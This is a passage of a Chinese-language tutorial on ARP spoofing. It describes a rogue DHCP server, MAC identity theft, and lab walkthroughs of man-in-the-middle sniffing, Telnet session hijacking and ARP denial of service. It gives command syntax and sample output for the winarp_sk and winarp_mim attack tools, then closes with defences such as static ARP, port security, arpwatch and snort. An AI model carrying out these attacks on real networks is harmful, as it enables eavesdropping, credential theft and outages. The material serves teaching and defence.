掌握DHCP服務(wù)的運作原理后,我們能做些什么?(學(xué)者會繼續(xù)深究這個原理;而黑客卻會思考如何利用這個原理,這也許就是學(xué)者與黑客的區(qū)別之一吧)。每個網(wǎng)絡(luò)里獨立存在一臺DHCP服務(wù)器進(jìn)行IP動態(tài)分址服務(wù),假如在加入一臺DHCP,效果怎樣?于是網(wǎng)絡(luò)中爆發(fā)了DHCP服務(wù)大戰(zhàn),誰勝利誰就占有主機的分配權(quán)。那么制造一臺DHCP服務(wù)器,并使其贏得分配權(quán),則可以對主機設(shè)置虛假的網(wǎng)關(guān)和虛假DNS服務(wù),輕松的實現(xiàn)MIM攻擊(絕對的好思路?)。

當(dāng)然,上述的做法過于野蠻,另一種精致的做法使:利用ARP欺騙攻擊可以從DHCP服務(wù)器中偷竊一部分可租用的IP地址(過份的做法是全部偷竊,欺騙正常DHCP其租用空間滿載)。偽造DHCP服務(wù)器,并使用欺騙所獲得的IP地址進(jìn)行分配活動。而客戶端將得到攻擊者偽造的默認(rèn)網(wǎng)關(guān)和偽造的DNS服務(wù)器。在偽造默認(rèn)網(wǎng)關(guān)實現(xiàn)監(jiān)聽;或使用偽造DNS重定向用戶HTTP訪問到黑帽的服務(wù)器,進(jìn)行應(yīng)用級的偷竊活動。一切依然簡單,而且使用的也僅僅是簡單的ARP攻擊。

下面來看看另一種有意思的攻擊方式——偷竊主機“身份標(biāo)識”。

許多主機都喜歡DHCP分配相同的IP地址。而管理員則維護了一張MAC-IP的地址列表以便于這種固定的分配。那么通過對一個指定主機的MAC地址進(jìn)行欺騙,并請求正確的IP地址,那么這個主機的身份標(biāo)識將被偷竊。為了實現(xiàn)這個目的,首先將目標(biāo)機器Dos攻擊。并在目標(biāo)機器重新啟動前,對DHCP實施IP請求,偷竊目標(biāo)身份標(biāo)識。一旦偷竊成功,則此狀態(tài)將存于DHCP的MAC-IP地址列表中。(偷取目標(biāo)主機的身份標(biāo)識當(dāng)然為了是采用借刀殺人,栽贓陷害的假名攻擊方法)。

實現(xiàn)原理如下:

從攻擊原理圖知道,具體實現(xiàn)分為三步:

1、 對目標(biāo)主機實行ARP拒絕服務(wù)攻擊。

2、 在機器重新啟動前,偷竊目標(biāo)主機所分配的IP地址,使目標(biāo)主機更新其原有地址。

3、 啟動偽造DHCP服務(wù)器,希望在DHCP爭奪戰(zhàn)能分配IP地址。

(注:其攻擊實現(xiàn)的代碼程序我已收錄到tools工具包,請參閱相關(guān)目錄)

如果局域網(wǎng)絡(luò)中使用DHCP服務(wù)進(jìn)行IP分址服務(wù),那么進(jìn)行ARP欺騙行為的攻擊是相當(dāng)容易的,除非網(wǎng)絡(luò)管理員在DHCP服務(wù)器對主機的IP地址和MAC進(jìn)行綁定,但這樣一來,使管理網(wǎng)絡(luò)變的復(fù)雜化一些。因此從某種意義上說,網(wǎng)絡(luò)安全和管理方便之間是一對矛盾體,越安全的網(wǎng)絡(luò)環(huán)境,其管理辛勞程度自然也加大很多。

當(dāng)掌握理論的時候,就該推進(jìn)到如何利用的階段了,這也是互連網(wǎng)Howto熱門起來的原由之一。#p#

四、 具體入侵實例

本節(jié)將給出具體實例,分別實現(xiàn)MIM嗅探數(shù)據(jù)、TCP會話劫持和DoS攻擊。雖然操作簡單,但考慮到對網(wǎng)絡(luò)的危害比較大,請有興趣的朋友搭建實驗環(huán)境進(jìn)行測試,不要在正常的交互網(wǎng)絡(luò)進(jìn)行這些非法行為(由于前面部分分析了這些攻擊行為的原理,這里只敘述攻擊流程,不在詳述其原理)。

(另注:本小節(jié)的實現(xiàn)是在土豆大哥的善意指點下而完成的。這些中肯的意見讓我能認(rèn)真的面對寫作,盡量把一些肯綮難解的思想寫的通俗易懂,不辜負(fù)喜歡看我文章的讀者,也在此對土豆大哥致禮)

網(wǎng)絡(luò)環(huán)境

用戶    IP:192.168.1.36(win2k)

服務(wù)器  IP:192.168.1.244(win2k)

攻擊者  IP:192.168.1.246(Redhat7.2)

(注:三臺機器是連在同一個交換機)

1、 MIM嗅探數(shù)據(jù)實例

◆獲取服務(wù)器和目標(biāo)主機的MAC地址

◆ 分別對服務(wù)器和目標(biāo)主機實現(xiàn)ARP欺騙

◆ 開啟IP轉(zhuǎn)發(fā),并實施嗅探

從截圖,我們可以看見攻擊者(192.168.1.246)在三層網(wǎng)絡(luò)環(huán)境下重定向并嗅嘆了用戶(192.168.1.36)到WEB服務(wù)器(192.168.1.244)的HTTP會話過程。編輯Ethereal的捕捉規(guī)則還可以嗅嘆POP3、Telnet和Ftp等登錄過程,從而輕松獲取帳戶。

2、 TCP會話劫持實例  

使用和MIM嗅嘆同樣的方法獲取MAC地址,并對主機實行ARP欺騙攻擊。接著,劫持一個監(jiān)測的會話,利用合法用戶進(jìn)行連接并通過驗證,使攻擊者合法接管會話過程。

◆ 使用hunt監(jiān)測并劫持一個Telnet會話  

◆在劫持過程中,接管會話并修改發(fā)送命令

整個Telnet劫持會話中,發(fā)送一個mkdir test命令,欺騙服務(wù)器認(rèn)為此命令是合法用戶發(fā)送的,因此接受此命令操作,會話劫持完成。此類操作及其簡單,但可以假冒合法用戶進(jìn)行正常的服務(wù)器操作,威脅性巨大。

3、 DoS攻擊實例

◆ 對主機發(fā)送大量偽造ARP reply數(shù)據(jù)包,導(dǎo)致其認(rèn)為192.168.1.20已經(jīng)“死亡”。

◆ 受害主機截圖

此刻,主機已經(jīng)無法Ping通192.168.1.20的地址,ARP的DoS攻擊完成。  

◆數(shù)據(jù)包截圖分析

從截圖可以發(fā)現(xiàn)不斷向192.168.1.36發(fā)送隨機Mac刷新其記錄中192.168.1.20的幻存記錄,導(dǎo)致其無法對192.168.1.20進(jìn)行正常網(wǎng)絡(luò)訪問。這種簡單的阻斷攻擊不但造成網(wǎng)絡(luò)中Arp-reply的廣播風(fēng)暴,導(dǎo)致網(wǎng)絡(luò)性能下降;嚴(yán)重還會讓整個三層交換網(wǎng)絡(luò)陷落于無窮的“絕緣”狀態(tài)之中。

4、 windows平臺ARP欺騙實現(xiàn)

考慮到許多讀者還未接觸過Linux或者對其來不太了解,因此本節(jié)將介紹兩個關(guān)于Windows平臺下實現(xiàn)Arp攻擊的小工具:winarp_sk和win_mim(兩款軟件需要wincap包的支持,已經(jīng)收錄到tools軟件包)。

Winarp_sk是arp_sk的Windows平臺實現(xiàn),其設(shè)計思想和arp_sk別無二致,只不過是在windows平臺實現(xiàn)此類攻擊。下面介紹其使用方法,感興趣的讀者可以根據(jù)前面所熟悉的攻擊方式在windows平臺下進(jìn)行攻擊測試。

winarp_sk.exe -m mode [-D dst_ether_addr] [-S src_ether_addr] 
                
[-F sender_MAC] -d sender_IP [-T target_MAC]
                   
-s target_IP [-t delay] [-c count]

-S: 以Windows格式設(shè)置數(shù)據(jù)包MAC源地址。    如果不做任何設(shè)置,將發(fā)送本機的MAC地址。

-D: 以Windows格式設(shè)置數(shù)據(jù)包MAC源地址。

一般使用參數(shù)-d所指定主機的MAC地址。

注意: Windows下面MAC地址的形式為: XX-XX-XX-XX-XX-XX

-m: 設(shè)置發(fā)送ARP類型包   

1 : 制作一個ARP-request數(shù)據(jù)包   

2 : 制作一個ARP-reply數(shù)據(jù)包

-F: 設(shè)置發(fā)送主機的MAC地址    默認(rèn)使用本地主機MAC進(jìn)行發(fā)送

-s: 設(shè)置發(fā)送主機的IP地址

-T: 設(shè)置目標(biāo)主機的MAC地址

-d: 設(shè)置目標(biāo)主機的IP地址

舉例一:

winarp_sk.exe -m 2 -s 192.168.1.1 -d 192.168.1.10

+ ETH - Destination MAC : 00-10-B5-AC-1D-00

+ ETH - Source MAC      : 00-60-08-DE-64-F0

+ ARP - ARP Reply

+ ARP - Sender MAC address : 00-60-08-DE-64-F0

+ ARP - Sender IP address  : 192.168.1.1

+ ARP - Target MAC address : 00-10-B5-AC-1D-00

+ ARP - Target IP address  : 192.168.1.10

這個例子中發(fā)送一個Arp-relay的數(shù)據(jù)包,欺騙192.168.1.10,使其ARP中毒,認(rèn)為192.168.1.1的MAC地址為:00-10-B5-AC-1D-00。對于win 9x/2K操作系統(tǒng),這是非常簡單的中毒更新攻擊。

舉例二:

winarp_sk -m 1 -s 192.168.1.1 -d 192.168.1.11

+ ETH - Destination MAC : 00-A0-C9-41-DB-1B

+ ETH - Source MAC      : 00-60-08-DE-64-F0

+ ARP - ARP Request

+ ARP - Sender MAC address : 00-60-08-DE-64-F0

+ ARP - Sender IP address  : 192.168.1.1

+ ARP - Target MAC address : 00-A0-C9-41-DB-1B

+ ARP - Target IP address  : 192.168.1.11

這也是ARP中毒更新的具體實例,可以有效的攻擊Linux/Win XP(或其他系統(tǒng))。

Winarp_mim小工具則顧名思義,mim是中間人攻擊的英文縮寫,用其可方便實現(xiàn)。但是使用之前,必須預(yù)先安裝wincap驅(qū)動包。其工作方式分三步實現(xiàn):

1、分別對目標(biāo)主機A和B發(fā)送ARP-request數(shù)據(jù)包。對目標(biāo)A發(fā)送目標(biāo)B的IP地址和攻擊者主機的MAC地址,反之對目標(biāo)B發(fā)送目標(biāo)A的IP地址和攻擊者的MAC地址。

2、對A和B中使用大量偽造的ARP欺騙包使其緩存保持虛假信息。

4、 攻擊終止,必須還原主機A/B中的真實IP/MAC綁定地址,避免因攻擊結(jié)束而造成A/B間無法通信的現(xiàn)象。

winarp_mim.exe -a target_a_ip -b target_b_ip 
                  
 [-t delay] [-c count] [-v]

-a: 目標(biāo)主機A的IP地址。

-b: 目標(biāo)主機B的IP地址。

-c: 設(shè)置發(fā)送ARP包的數(shù)目。    

默認(rèn)情況是不斷發(fā)送,直到按任意鍵停止發(fā)送。

-t: 發(fā)送包的時間間隔,以毫秒為單位。默認(rèn)情況是2000毫秒。

-h: 幫助命令。

-v: 發(fā)送包過程中的信息顯示開關(guān)。

注意:

假如攻擊主機使用IP路由功能,MIM攻擊才能透明的進(jìn)行。

Windows系統(tǒng)中激活路由功能的方法:

1- Windows NT :在 TCP/IP 控制面版中進(jìn)行配置

2- Windows 2000 : 修改或者創(chuàng)建如下鍵值

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 

設(shè)置鍵IPEnableRouter=1

3- Windows 9x : 修改或者創(chuàng)建如下鍵值

\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Vxd\Mstcp\

設(shè)置鍵EnableRouting=1,其字符類型為string

(注意: "EnableRouting" 是區(qū)分大小寫)

分析了目前比較流行的ARP攻擊方式,是否有種大汗淋漓的恐慌呢?如何面對這種殘酷戰(zhàn)爭?如何才能讓自己暫時安全?下面的建議興許能提供一些庇護措施。#p#

五、 安全防御建議

對于局域網(wǎng)絡(luò)的欺騙攻擊隱秘性的攻擊行為,如何才能保證信息的相對安全和隱私權(quán)的私屬性呢?經(jīng)過ARP欺騙攻擊行為的分析,如下措施可以較好的抵御這種可恥的偷竊行為。

1、 在本地計算機使用靜態(tài)ARP映像記錄,特別本地網(wǎng)關(guān)記錄應(yīng)該是靜態(tài)的。使用arp -s添加靜態(tài)映射列表。抑制ARP的幻存中毒更新。(但對于大型網(wǎng)絡(luò),維護這樣的MAC/IP表使非常困難的,如果某臺機器的網(wǎng)卡壞了,調(diào)整MAC/IP的映射是及其煩瑣的)

2、 使用反向ARP解析,找出同一MAC地址IP的來源(即使用RARP反向解析MAC為IP地址)。

3、 在交換機中使用Port/Mac的綁定功能,比如使能Port Security特性,每個端口只允許一個MAC映射,防止多個MAC地址對一個交換端口的映射,從而減少嗅嘆的可能性。

4、使用ARPWATCH工具監(jiān)測IP/MAC地址表的變化。其記錄日志于/var/log/messages,形式為:

Sep 1 16:26:04 hostB arpwatch: changed ethernet address 192.168.1.3

04.04.04.04.04.04 (03.03.03.03.03.03)
 

表示MAC從原來的03.03.03.03.03.03變更為04.04.04.04.04.04,這意味著ARP攻擊的征兆,需要引起高度注意。

5、 避免使用DHCP服務(wù)器進(jìn)行網(wǎng)絡(luò)的動態(tài)分址管理,因為在這樣的環(huán)境中使用ARP欺騙攻擊是很難被發(fā)現(xiàn)的。

6、 在基于安全會話的通信過程中,不要使用有安全漏洞的軟件。

7、 安裝snort入侵檢測系統(tǒng),通過使用arp欺騙預(yù)處理器偵測欺騙行為并發(fā)送郵件警告通知arp/ip的改變。

8、尋找Arp攻擊主機,以Redhat為例:

nmap -sP {your local network}

arp -an | awk '{print $2 $4}' | sort | uniq -c | grep -v '1'

在DNS記錄中查看其主機地址找出攻擊者,制止攻擊行為。

六、 小結(jié)

使用ARP協(xié)議漏洞所產(chǎn)生的攻擊方式是非常隱蔽的,這種攻擊所造成的危害卻是非常巨大的,任何在網(wǎng)絡(luò)流通的數(shù)據(jù)資料將被攻擊者一覽無余,而受害者卻可能根本不知道自己已經(jīng)受到了嚴(yán)重的窺視。由于協(xié)議而使網(wǎng)絡(luò)本身具有的脆弱性,因此在時刻警惕網(wǎng)絡(luò)的同時,最全面的做法在于改進(jìn)協(xié)議的安全特性并不斷提高人的修養(yǎng)素質(zhì),使網(wǎng)絡(luò)的文明升級為一個資源共享,信息自由和尊重隱私的時代    

【編輯推薦】

  1. 專題:ARP攻擊防范與解決方案
  2. 關(guān)于ARP攻擊的防護措施
責(zé)任編輯:許鳳麗 來源: 博客
相關(guān)推薦

2023-11-27 17:03:45

syncGo

2011-03-02 15:10:43

國產(chǎn)數(shù)據(jù)庫

2013-04-23 09:15:59

Windows 8.1

2022-02-28 19:32:27

I/O磁盤

2015-06-04 16:35:00

2015-01-19 09:13:39

CloudStack云計算架構(gòu)虛擬機管理

2011-05-06 15:28:00

SMB數(shù)據(jù)中心

2009-09-29 11:23:53

互聯(lián)網(wǎng)

2013-07-16 14:36:43

天河2號超級計算機國防科技大學(xué)

2018-03-05 08:56:10

物聯(lián)網(wǎng)無線通信終端設(shè)備

2019-04-30 10:08:22

Windows 功能系統(tǒng)

2017-09-19 12:08:13

Google

2021-08-15 19:00:14

算法floydDijkstra

2019-10-29 09:18:19

量子芯片網(wǎng)絡(luò)

2023-11-29 11:28:21

智能視覺

2016-09-29 10:27:42

天云軟件Docker容器

2022-03-21 18:27:38

Linux計算機函數(shù)

2011-07-20 11:01:39

2021-12-12 09:20:43

Windows 11任務(wù)欄微軟
點贊
收藏

51CTO技術(shù)棧公眾號